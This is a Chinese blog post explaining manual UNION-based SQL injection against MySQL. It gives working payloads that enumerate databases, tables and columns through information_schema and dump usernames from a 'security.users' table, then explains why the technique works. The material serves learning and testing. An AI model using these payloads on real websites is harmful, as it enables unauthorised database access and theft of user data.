手工注入原理

 之前虽然经常使用过一些注入语句,但只是得到结果,不得其深意。这次专门去了解分析其原理,希望有所收获

查询遍历所有的数据库:(limit n,m)(n>=0,m>0)

1' and 1=2 union select 1,schema_name,3,num,num from information_schema.schemata limit 0,1#

 查询当前数据库:

1' and 1=2 union select 1,database(),3,num,num#

查询表:

1' and 1=2 union select 1,table_name,3,num,num from information_schema.tables where 

table_schema='security' limit 0,1#

查询字段:

1' and 1=2 union select 1,column_name,3,num,num from information_schema.columns where 

table_schema='security' and table_name='users' limit 0,1#

查询字段内容:

1' and 1=2 union select 1,username,3,num,num from security.users limit 2,1#

 

 这种注入语句一般存在mysql5.0以上,原因是mysql自带的数据库informatiaon_schema

在这个数据库中存在 schemata, tables, columns 者三个表

而这三个表中分别存有所有数据库名, 所有表名, 所有列名

查询information_schema系统数据库中的schemata表,就可以得到所有数据库,并且数据库属性为schrma_name,由此可了解为什么查询所有数据库时是它了

 查询information_schema系统数据库中的tables表(因为表太多,所有我加了where条件只查询一个数据库的表)

可以发现该数据库的所有的数据库和所有表出来了,并且表的属性为table_name,当然也会发现数据库属性为table_schema

这是因为这个数据库名table_schema其实是tables表的一个列名,同理schema_name一样是schemata表的一个列名,当你需要查询的时候就要知道你要查询的是系统数据库的哪个表

所有查询表也可以了解了

查询information_schema系统数据库中的columns表

可以发现所有的数据库所有的表所有的列都出来了,对应的属性分别是:table_schema,table_name,column_name

所有查询字段也了解了

知道当前数据库,表,字段,就可直接查询到字段内容了

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值